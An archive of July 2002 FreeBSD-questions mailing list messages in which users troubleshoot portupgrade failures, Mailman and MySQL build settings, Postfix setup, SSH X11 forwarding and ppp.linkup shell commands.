can't seem to find a solution. But I also guess this kind of thing
happens even with Eric Raymonds... or maybe not... :))

tks

PR

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From owner-freebsd-questions  Sun Jul 28  6:50:24 2002
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From: Darren Crotchett <backdoc@crotchett.com>
To: Bauer <timewax@web.de>
Subject: Re: portupgrade aftermath
Date: Sun, 28 Jul 2002 08:50:04 -0500
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One more question before I reinstall Mailman.  Will I need to use portins=
tall=20
or portupgrade -N since, as far as portupgrade is concerned, it successfu=
lly=20
upgraded it already?

Darren

On Sunday 28 July 2002 08:29 am, Darren Crotchett wrote:
> I'm finally getting somewhere.  I got mysql server to compile by copyin=
g
> /etc/defaults/make.conf to /etc/make.conf and adding the line
> SKIP_INSTALL_DB=3Dyes to the last line.
>
> Now, I thought I'd try the same thing with Mailman by adding CGI_GID?=3D
> 65533 to my /etc/make.conf.  However, before I do, I'd like to know if =
this
> might adversely affect other programs.
>
> Thanks,
> Darren
>
> On Friday 26 July 2002 12:26 pm, Bauer wrote:
> > Hi,
> >
> > On Fri, 26 Jul 2002 08:33:10 -0500
> >
> > Darren Crotchett <backdoc@crotchett.com> wrote:
> > > Quick background:
> > > I'm trying to transition from complete newbie to newbie-admin.  In
> > > other words, I can handle most of the basics of getting a system up
> > > and going.  Now I want to learn how properly admin a FreeBSD box.  =
I'm
> > > running 4.6-RELEASE.  Due to the recent security issues involving p=
hp,
> > > apache and openssh, I thought that I would try to upgrade all of my
> > > installed ports/packages.  Things went OK but, not great.  I have a
> > > couple of questions.  Here's how I did what I did:
> > >
> > > cvsup -g -L 2 /path/to/ports-supfile
> >
> > You should always run portsdb -uU after you updated your ports to reb=
uild
> > the INDEX
> >
> > > After running portupgrade, I was greeted with the following message=
:
> > >
> > > ** The following packages were not installed or upgraded (*:skipped
> > > /!:failed)
> > > =09! databases/mysql323-server (mysql-server-3.23.49) (install
> > > =09error)! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)  (port
> > > =09directory error)* sysutils/portupgrade (portupgrade-20020429)
> > >
> > > The first question I have is what to do about those messages?
> > > mysql-server 3.23.51is the version I have in /usr/ports.  I wonder =
why
> > > portupgrade had trouble installing?  Should I try manually installi=
ng
> > > it?  What command line options should I use with portupgrade for th=
at?
> >
> > I don't know if this is the best way, but I always try a portupgrade =
-r
> > port and look at the exact error make gives.
> >
> > > I don't know how important ruby-fnmatch is.  But, I don't know of a=
ny
> > > specific reason why I need it.  So, I'm not too worried about it.
> > > But, I don't care to have loose ends.  So, I do want to deal with i=
t
> > > properly.  What should I do with it?
> >
> > Try to run portsdb -uU and then upgrade this port again.
> >
> > > Finally, this last part is more a comment than a question.  After
> > > upgrading, phpBB and mailman quit working.  I discovered that mysql
> > > was no longer set to start on boot (which is why phpBB wouldn't wor=
k).
> > >  And, mailman is back to
> > > giving me UID/GID problems (I always have to edit my Makefile and
> > > recompile it).  I think I can take care of both of these problems.
> > > But, why would portupgrade leave my services unusable?  It seems li=
ke
> > > if it had problems, it would be smart enough to back out and give y=
ou
> > > a message.
> >
> > Run make options in mail/mailman. You can set some options at build t=
ime
> > including UID/GID . Also look at the -M option with
> > portinstall/portupgrade. Then have a look at man make.conf . You can =
set
> > permanent variables for ports there to make sure they are always used=
 on
> > your upgrades.
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From: "Joe & Fhe Barbish" <barbish@a1poweruser.com>
To: "Warner Joseph" <Joseph.Warner@siemens.com>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: postfix info
Date: Sun, 28 Jul 2002 09:53:56 -0400
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Check out   http://www.postfix.org/

-----Original Message-----
From: owner-freebsd-newbies@FreeBSD.ORG
[mailto:owner-freebsd-newbies@FreeBSD.ORG]On Behalf Of Warner Joseph
Sent: Friday, July 26, 2002 6:08 PM
To: 'freebsd-newbies@freebsd.org'
Subject: postfix info

Hi,

Does anyone happen to know of any good
step-by-step instructions for setting up postfix on FreeBSD?

I've been searching and haven't really found much.

Thanks

Joe





Siemens - Health Services
Joe Warner
Operations Technical Analyst II
215 North Admiral Byrd Rd., Salt Lake City, UT 84116
Ph:  801-539-4978
Fax: 801-533-8004


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<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Ch=
eck
out<span style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</span>http://www.postfix.org/<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><!=
[if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DTahoma><span =
style=3D'font-size:10.0pt;font-family:Tahoma;color:black'>-----Original
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b>
owner-freebsd-newbies@FreeBSD.ORG =
[mailto:owner-freebsd-newbies@FreeBSD.ORG]<b><span
style=3D'font-weight:bold'>On Behalf Of </span></b>Warner Joseph<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Friday, July 26, =
2002 6:08
PM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> =
'freebsd-newbies@freebsd.org'<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> postfix =
info</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Hi,</span></font=
><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Does
anyone happen to know of any good</span></font><font color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>step-by-step
instructions for setting up postfix on FreeBSD?</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>I've
been searching and haven't really found much.</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Thanks</span></f=
ont><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblack
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:black'>Joe</span></font=
><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p style=3D'margin-left:.5in'><font size=3D3 color=3Dblack face=3D"Times =
New Roman"><span
style=3D'font-size:12.0pt;color:black'><br>
</span></font><font color=3Dblack face=3DArial><span =
style=3D'font-family:Arial;
color:black'>&nbsp;</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font color=3Dblack face=3DArial><span =
style=3D'font-family:Arial;
color:black'>&nbsp;</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><font color=3Dblack face=3DArial><span =
style=3D'font-family:Arial;
color:black'>&nbsp;</span></font><font color=3Dblack><span =
style=3D'color:black'> <br>
</span></font><b><u><font size=3D1 color=3Dblue face=3DArial><span =
style=3D'font-size:
7.5pt;font-family:Arial;color:blue;font-weight:bold'>Siemens - Health =
Services</span></font></u></b><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p style=3D'margin-left:.5in'><font size=3D1 color=3Dblack =
face=3DArial><span
style=3D'font-size:7.5pt;font-family:Arial;color:black'>Joe =
Warner</span></font><font
size=3D1 color=3Dblack><span style=3D'font-size:7.5pt;color:black'> <br>
</span></font><font size=3D1 color=3Dblack face=3DArial><span =
style=3D'font-size:7.5pt;
font-family:Arial;color:black'>Operations Technical Analyst =
II</span></font><font
size=3D1 color=3Dblack><span style=3D'font-size:7.5pt;color:black'> <br>
</span></font><font size=3D1 color=3Dblack face=3DArial><span =
style=3D'font-size:7.5pt;
font-family:Arial;color:black'>215 North Admiral Byrd Rd., Salt Lake =
City, UT
84116</span></font><font size=3D1 color=3Dblack><span =
style=3D'font-size:7.5pt;
color:black'> <br>
</span></font><font size=3D1 color=3Dblack face=3DArial><span =
style=3D'font-size:7.5pt;
font-family:Arial;color:black'>Ph:&nbsp; 801-539-4978</span></font><font
size=3D1 color=3Dblack><span style=3D'font-size:7.5pt;color:black'> <br>
</span></font><font size=3D1 color=3Dblack face=3DArial><span =
style=3D'font-size:7.5pt;
font-family:Arial;color:black'>Fax: 801-533-8004</span></font><font
color=3Dblack><span style=3D'color:black'> </span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

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From owner-freebsd-questions  Sun Jul 28  7: 5:30 2002
Delivered-To: freebsd-questions@freebsd.org
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Date: Sun, 28 Jul 2002 07:05:28 -0700 (PDT)
From: Paulo Roberto <nirv199@yahoo.com>
Subject: wm, apps on FreeBSDs releases
To: freebsd-questions@freebsd.org
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Hello,

I was just wondering, is there some kind of a poll about what is on and
what is out the official release, and what is on disc 1, 3 or 4?
I remeber some time ago, in 4.3 if I am not mistaking, the XFCE package
was on disc 1, and now it is on the ports collection (ok, also on disc
1!). I think from all the wm, it is one of the best in terms of
stability and performance (too damn light and fast), and I think it is
a shame it is not in 4.6 (and probably not in 4.6.1).
BTW I do not mean to start any kind of "religious war"...

cheers,

PR

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Sun Jul 28  7: 9: 4 2002
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From: Darren Crotchett <backdoc@crotchett.com>
To: Bauer <timewax@web.de>
Subject: Re: portupgrade aftermath
Date: Sun, 28 Jul 2002 09:08:53 -0500
User-Agent: KMail/1.4.1
Cc: freebsd-questions@FreeBSD.ORG
References: <200207260833.10965.backdoc@crotchett.com> <200207280829.09744.backdoc@crotchett.com> <200207280850.04930.backdoc@crotchett.com>
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X-Loop: FreeBSD.ORG

Sorry to be spamming the list this morning.  But, impatience has gotten t=
he=20
better of me.  I went ahead and took a small risk of further mucking thin=
gs=20
up.  But, it worked out good.  For the benefit of anyone trying to help m=
e=20
and anyone who might read this thread in the archives, let me summarize.

I had to use portupgrade -fr mailman to get mailman to reinstall.  I did =
add=20
CGI_GID?=3D to the last line of /etc/make.conf.  And, all of this did wor=
k.

I still have a little tidying up to do, though.

After having run portsdb -Uu, I tried to re-run portupgrade -r ruby-fnmat=
ch. =20
But, I get an error:

cd: can't cd to /usr/ports/devel/ruby-fnmatch
** The port directory for 'devel/ruby-fnmatch' does not exist.
--->  Skipping 'sysutils/portupgrade' (portupgrade-20020429) because=20
'devel/ruby-fnmatch' (ruby-fnmatch-1.1b_1) failed
** The following packages were not installed or upgraded (*:skipped /=20
!:failed)
        ! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)      (port directory e=
rror)
        * sysutils/portupgrade (portupgrade-20020429)

Can someone give me some insight to what these errors are all about? =20

Thanks,
Darren



On Sunday 28 July 2002 08:50 am, Darren Crotchett wrote:
> One more question before I reinstall Mailman.  Will I need to use
> portinstall or portupgrade -N since, as far as portupgrade is concerned=
, it
> successfully upgraded it already?
>
> Darren
>
> On Sunday 28 July 2002 08:29 am, Darren Crotchett wrote:
> > I'm finally getting somewhere.  I got mysql server to compile by copy=
ing
> > /etc/defaults/make.conf to /etc/make.conf and adding the line
> > SKIP_INSTALL_DB=3Dyes to the last line.
> >
> > Now, I thought I'd try the same thing with Mailman by adding CGI_GID?=
=3D
> > 65533 to my /etc/make.conf.  However, before I do, I'd like to know i=
f
> > this might adversely affect other programs.
> >
> > Thanks,
> > Darren
> >
> > On Friday 26 July 2002 12:26 pm, Bauer wrote:
> > > Hi,
> > >
> > > On Fri, 26 Jul 2002 08:33:10 -0500
> > >
> > > Darren Crotchett <backdoc@crotchett.com> wrote:
> > > > Quick background:
> > > > I'm trying to transition from complete newbie to newbie-admin.  I=
n
> > > > other words, I can handle most of the basics of getting a system =
up
> > > > and going.  Now I want to learn how properly admin a FreeBSD box.=
=20
> > > > I'm running 4.6-RELEASE.  Due to the recent security issues invol=
ving
> > > > php, apache and openssh, I thought that I would try to upgrade al=
l of
> > > > my installed ports/packages.  Things went OK but, not great.  I h=
ave
> > > > a couple of questions.  Here's how I did what I did:
> > > >
> > > > cvsup -g -L 2 /path/to/ports-supfile
> > >
> > > You should always run portsdb -uU after you updated your ports to
> > > rebuild the INDEX
> > >
> > > > After running portupgrade, I was greeted with the following messa=
ge:
> > > >
> > > > ** The following packages were not installed or upgraded (*:skipp=
ed
> > > > /!:failed)
> > > > =09! databases/mysql323-server (mysql-server-3.23.49) (install
> > > > =09error)! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)  (port
> > > > =09directory error)* sysutils/portupgrade (portupgrade-20020429)
> > > >
> > > > The first question I have is what to do about those messages?
> > > > mysql-server 3.23.51is the version I have in /usr/ports.  I wonde=
r
> > > > why portupgrade had trouble installing?  Should I try manually
> > > > installing it?  What command line options should I use with
> > > > portupgrade for that?
> > >
> > > I don't know if this is the best way, but I always try a portupgrad=
e -r
> > > port and look at the exact error make gives.
> > >
> > > > I don't know how important ruby-fnmatch is.  But, I don't know of=
 any
> > > > specific reason why I need it.  So, I'm not too worried about it.
> > > > But, I don't care to have loose ends.  So, I do want to deal with=
 it
> > > > properly.  What should I do with it?
> > >
> > > Try to run portsdb -uU and then upgrade this port again.
> > >
> > > > Finally, this last part is more a comment than a question.  After
> > > > upgrading, phpBB and mailman quit working.  I discovered that mys=
ql
> > > > was no longer set to start on boot (which is why phpBB wouldn't
> > > > work). And, mailman is back to
> > > > giving me UID/GID problems (I always have to edit my Makefile and
> > > > recompile it).  I think I can take care of both of these problems=
=2E
> > > > But, why would portupgrade leave my services unusable?  It seems =
like
> > > > if it had problems, it would be smart enough to back out and give=
 you
> > > > a message.
> > >
> > > Run make options in mail/mailman. You can set some options at build
> > > time including UID/GID . Also look at the -M option with
> > > portinstall/portupgrade. Then have a look at man make.conf . You ca=
n
> > > set permanent variables for ports there to make sure they are alway=
s
> > > used on your upgrades.
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Sun Jul 28  7:24: 1 2002
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I'm having trouble forwarding X11 over an ssh connection between a remote
4.3-RELEASE server and my local desktop (also 4.3-RELEASE).

The server used to be a 3.4-RELEASE system, and my configuration worked
without any problems. Since upgrading the server to 4.3-RELEASE, however,
X authentication fails consistently over ssh.

I have ForwardX11 set to "yes" in my config file, and after I slogin
to the remote server, I see the extra X11 ports open in LISTEN state.
eg.:

Proto Recv-Q Send-Q  Local Address          Foreign Address       (state)
tcp4       0      0  *.6011                 *.*                   LISTEN
tcp46      0      0  *.6011                 *.*                   LISTEN

My DISPLAY variable is set to the correct value (eg.server.domain.com:11.0).

However, when I start an xterm, I get the following (verbose) messages:

debug: client_input_channel_open: ctype x11 rchan 3 win 4096 max 2048
debug: fd 12 setting O_NONBLOCK
debug: fd 12 IS O_NONBLOCK
debug: channel 6: new [x11]
debug: confirm x11
debug: X11 auth data does not match fake data.
debug: X11 rejected 6 i1/o16

I have the following entries in the .Xauthority files on both machines.

On my desktop:

desktop.domain.com:0    MIT-MAGIC-COOKIE-1      <key>
desktop.domain.com/unix:0       MIT-MAGIC-COOKIE-1      <key>

On the remote server:

server.domain.com:11    MIT-MAGIC-COOKIE-1      <key>
server.domain.com/unix:11       MIT-MAGIC-COOKIE-1      <key>

The value of <key> in all the entries above is the same. I have similar
entries for display 10, 12, 13 ... on the server, in case I get a
different display; the ssh server is shared.

I've tried connecting using IPv4 only, and forcing sshv2, but I got the
same error message. Trying to use xhost (as a last resort) resulted in
an authentication mismatch error.

The ssh version on both ends is:

SSH Version OpenSSH_2.3.0 green@FreeBSD.org 20010321, protocol versions
1.5/2.0. Compiled with SSL (0x0090600f).

My desktop X server is XFree86 4.002, if that makes a difference.

Any information, suggestions or dope slaps welcome.

Peter

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From owner-freebsd-questions  Sun Jul 28  7:24:29 2002
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Date: Sun, 28 Jul 2002 10:27:02 -0400 (EDT)
Subject: Re: portupgrade aftermath
From: "Michael Sharp" <freebsd@ec.rr.com>
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you can de-install ruby-fnmatch.  Its obsolete, thus, the error.

michael

Darren Crotchett said:
> Sorry to be spamming the list this morning.  But, impatience has
> gotten the  better of me.  I went ahead and took a small risk of
> further mucking things  up.  But, it worked out good.  For the
> benefit of anyone trying to help me  and anyone who might read
> this thread in the archives, let me summarize.
>
> I had to use portupgrade -fr mailman to get mailman to reinstall.
> I did add  CGI_GID?= to the last line of /etc/make.conf.  And, all
> of this did work.
>
> I still have a little tidying up to do, though.
>
> After having run portsdb -Uu, I tried to re-run portupgrade -r
> ruby-fnmatch.   But, I get an error:
>
> cd: can't cd to /usr/ports/devel/ruby-fnmatch
> ** The port directory for 'devel/ruby-fnmatch' does not exist.
> --->  Skipping 'sysutils/portupgrade' (portupgrade-20020429)
> because  'devel/ruby-fnmatch' (ruby-fnmatch-1.1b_1) failed
> ** The following packages were not installed or upgraded
> (*:skipped /  !:failed)
>         ! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)      (port
> directory error) * sysutils/portupgrade
> (portupgrade-20020429)
>
> Can someone give me some insight to what these errors are all
> about?
>
> Thanks,
> Darren
>
>
>
> On Sunday 28 July 2002 08:50 am, Darren Crotchett wrote:
>> One more question before I reinstall Mailman.  Will I need to
>> use portinstall or portupgrade -N since, as far as portupgrade
>> is concerned, it successfully upgraded it already?
>>
>> Darren
>>
>> On Sunday 28 July 2002 08:29 am, Darren Crotchett wrote:
>> > I'm finally getting somewhere.  I got mysql server to compile
>> by copying /etc/defaults/make.conf to /etc/make.conf and
>> adding the line
>> > SKIP_INSTALL_DB=yes to the last line.
>> >
>> > Now, I thought I'd try the same thing with Mailman by adding
>> CGI_GID?> > 65533 to my /etc/make.conf.  However, before I do,
>> I'd like to know if this might adversely affect other
>> programs.
>> >
>> > Thanks,
>> > Darren
>> >
>> > On Friday 26 July 2002 12:26 pm, Bauer wrote:
>> > > Hi,
>> > >
>> > > On Fri, 26 Jul 2002 08:33:10 -0500
>> > >
>> > > Darren Crotchett <backdoc@crotchett.com> wrote:
>> > > > Quick background:
>> > > > I'm trying to transition from complete newbie to
>> newbie-admin.  In other words, I can handle most of the
>> basics of getting a system up and going.  Now I want to
>> learn how properly admin a FreeBSD box.  I'm running
>> 4.6-RELEASE.  Due to the recent security issues involving
>> php, apache and openssh, I thought that I would try to
>> upgrade all of my installed ports/packages.  Things went
>> OK but, not great.  I have a couple of questions.  Here's
>> how I did what I did:
>> > > >
>> > > > cvsup -g -L 2 /path/to/ports-supfile
>> > >
>> > > You should always run portsdb -uU after you updated your
>> ports to rebuild the INDEX
>> > >
>> > > > After running portupgrade, I was greeted with the
>> following message:
>> > > >
>> > > > ** The following packages were not installed or upgraded
>> (*:skipped /!:failed)
>> > > > 	! databases/mysql323-server (mysql-server-3.23.49)
>> (install error)! devel/ruby-fnmatch (ruby-fnmatch-1.1b_1)
>>  (port
>> > > > 	directory error)* sysutils/portupgrade
>> (portupgrade-20020429)
>> > > >
>> > > > The first question I have is what to do about those
>> messages? mysql-server 3.23.51is the version I have in
>> /usr/ports.  I wonder why portupgrade had trouble
>> installing?  Should I try manually installing it?  What
>> command line options should I use with portupgrade for
>> that?
>> > >
>> > > I don't know if this is the best way, but I always try a
>> portupgrade -r port and look at the exact error make gives.
>> > >
>> > > > I don't know how important ruby-fnmatch is.  But, I don't
>> know of any specific reason why I need it.  So, I'm not
>> too worried about it. But, I don't care to have loose
>> ends.  So, I do want to deal with it properly.  What
>> should I do with it?
>> > >
>> > > Try to run portsdb -uU and then upgrade this port again.
>> > >
>> > > > Finally, this last part is more a comment than a question.
>>  After upgrading, phpBB and mailman quit working.  I
>> discovered that mysql was no longer set to start on boot
>> (which is why phpBB wouldn't work). And, mailman is back
>> to
>> > > > giving me UID/GID problems (I always have to edit my
>> Makefile and recompile it).  I think I can take care of
>> both of these problems. But, why would portupgrade leave
>> my services unusable?  It seems like if it had problems,
>> it would be smart enough to back out and give you a
>> message.
>> > >
>> > > Run make options in mail/mailman. You can set some options
>> at build time including UID/GID . Also look at the -M option
>> with
>> > > portinstall/portupgrade. Then have a look at man make.conf .
>> You can set permanent variables for ports there to make sure
>> they are always used on your upgrades.
>> >
>> > To Unsubscribe: send mail to majordomo@FreeBSD.org
>> > with "unsubscribe freebsd-questions" in the body of the
>> message
>>
>> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> with "unsubscribe freebsd-questions" in the body of the message
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message




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From owner-freebsd-questions  Sun Jul 28  7:42:21 2002
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Date: Sun, 28 Jul 2002 17:40:18 +0000
From: "D. Penev" <dpenev@mail.bg>
To: Paulo Roberto <nirv199@yahoo.com>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: starting fetchmail from ppp.linkup on FreeBSD 4.6
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On Sun, Jul 28, 2002 at 06:43:45AM -0700, Paulo Roberto wrote:
>Date: Sun, 28 Jul 2002 06:43:45 -0700 (PDT)
>From: Paulo Roberto <nirv199@yahoo.com>
>Subject: Re: starting fetchmail from ppp.linkup on FreeBSD 4.6
>To: "D. Penev" <dpenev@mail.bg>
>Cc: freebsd-questions@FreeBSD.org
>
>--- "D. Penev" <dpenev@mail.bg> wrote:
>> and try
>> this in ppp.linkup:
>> 
>> ! /usr/local/bin/fetchmail -d <interval>
>
>Should I drop the 'sh' after the '!'??

Yes, but if you keep it it's not error, read bellow.

>BTW what is this '!' for? From my understanding I am not denying any
>argument... (I didn't find it on the manual...)

# man ppp:
[snip]
shell|! [command]
         If command is not specified a shell is invoked according to the SHELL
         environment variable.  Otherwise, the given command is executed.
         Word replacement is done in the same way as for the ``!bg'' command
         as described above.

         Use of the ! character requires a following space as with any of the
         other commands.  You should note that this command is executed in the
         foreground; ppp will not continue running until this process has
         exited.  Use the bg command if you wish processing to happen in the
         background.
[snip]

>
>thanks
>
>PR
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Health - Feel better, live better
>http://health.yahoo.com

-- 
Regards,
D. Penev

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From owner-freebsd-questions  Sun Jul 28  8:16:42 2002
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Date: Sun, 28 Jul 2002 16:16:24 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Paulo Roberto <nirv199@yahoo.com>
Cc: "D. Penev" <dpenev@mail.bg>, freebsd-questions@FreeBSD.ORG
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On Sun, Jul 28, 2002 at 06:43:45AM -0700, Paulo Roberto wrote:
> --- "D. Penev" <dpenev@mail.bg> wrote:
> > and try
> > this in ppp.linkup:
> > 
> > ! /usr/local/bin/fetchmail -d <interval>
> 
> Should I drop the 'sh' after the '!'??
> BTW what is this '!' for? From my understanding I am not denying any
> argument... (I didn't find it on the manual...)

It's '!' with the meaning of "shell escape", as you get in eg. the ftp
program, not '!' meaning 'not' as you get in most programming
languages.  If you think it's too confusing use the ppp 'shell'
command instead:

    shell /usr/local/bin/fetchmail ...

Similarly, to have commands executed in the background, you can use
either of:

    bg command
    !bg command

The meaning is exactly the same.

Saying '! sh foo' means that you want ppp to invoke a shell to run the
'sh' program, and have 'sh' run 'foo' for you.  If that all seems
needlessly complicated, that's because it is --- using sh like that is
pretty redundant.  The great exception to that is to use 'sh -c' to
run compound commands interpreting shell meta-characters:

    shell sh -c "[ -d dir ] || mkdir dir ; cat > dir/foo"

	Cheers,

	Matthew

	

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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Date: Sun, 28 Jul 2002 15:55:41 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Darren Crotchett <backdoc@crotchett.com>
Cc: Bauer <timewax@web.de>, freebsd-questions@FreeBSD.ORG
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On Sun, Jul 28, 2002 at 08:50:04AM -0500, Darren Crotchett wrote:

> One more question before I reinstall Mailman.  Will I need to use
> portinstall or portupgrade -N since, as far as portupgrade is
> concerned, it successfully upgraded it already?

'portinstall' is just shorthand for 'portupgrade -N'.  If you want to
force removal and reinstallation of a package already on your system
use 'portupgrade -f'

> On Sunday 28 July 2002 08:29 am, Darren Crotchett wrote:
> > I'm finally getting somewhere.  I got mysql server to compile by copying
> > /etc/defaults/make.conf to /etc/make.conf and adding the line
> > SKIP_INSTALL_DB=yes to the last line.
> >
> > Now, I thought I'd try the same thing with Mailman by adding CGI_GID?=
> > 65533 to my /etc/make.conf.  However, before I do, I'd like to know if this
> > might adversely affect other programs.

If you're using portupgrade why not just add the make variables to
/usr/local/etc/pkgtools.conf?  That way you can apply them to just the
package or packages they're supposed to affect:

  MAKE_ARGS = {
        'mail/mailman'              => 'CGI_GID=65533',
        'databases/mysql323-server' => 'SKIP_INSTALL_DB=yes',
  }

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Sun Jul 28  8:56:49 2002
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> Does anyone happen to know of any good
> step-by-step instructions for setting up postfix on FreeBSD?

It has been a while since I did a fresh install, but something like this
should do the trick.

# cd /usr/ports/mail/postfix
# make && sudo make replace
# vi /etc/rc.conf
...
sendmail_enable="YES"
sendmail_flags="-bd"
sendmail_outbound_enable="NO"
sendmail_submit_enable="NO"
sendmail_msp_queue_enable="NO"

This presumes you want to run Postfix as a mail server as well as your MTA.


> I've been searching and haven't really found much.

Probably because installing the port is made so easy your hand is help all
the way. Simply by trying it, you're likely not to need any help.


-Andrew-
-- 
 _______________________________________________________________________
| -Andrew J. Caines-   Unix Systems Engineer   A.J.Caines@halplant.com  |
| "They that can give up essential liberty to obtain a little temporary |
|  safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 |

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From owner-freebsd-questions  Sun Jul 28  9:22:51 2002
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After upgrading from 4.3 to 4.6 my cvsup executable seems to have 
disappeared.  Has anyone else had this problem?
Where can I get cvsup?


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From owner-freebsd-questions  Sun Jul 28  9:26:39 2002
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From: Jason Hunt <leth@primus.ca>
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To: freebsd-questions@FreeBSD.ORG
Cc: Michelle Weeks <tristan11@mindspring.com>
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On Thu, 25 Jul 2002, Michelle Weeks wrote:

> #! /bin/sh
> # Variables
> EMAILTO=backup
> DESTFILE=/dev/nrsa0
> BACKUPFILES="/var /usr/home"
> BACKUPDIR=${HOME}/backup
> LEVEL=1

In your original message on July 23rd, you had "LEVEL=${0}" instead of
"LEVEL=0" or "LEVEL=1".  With "LEVEL=${0}", you were getting "Error:
Level-backup.sh unknown" when you tried to run the script.

${0} is a variable for the name of the script.  ${1} through ${9}
are for command-line arguments.  It seems that the person who wrote this
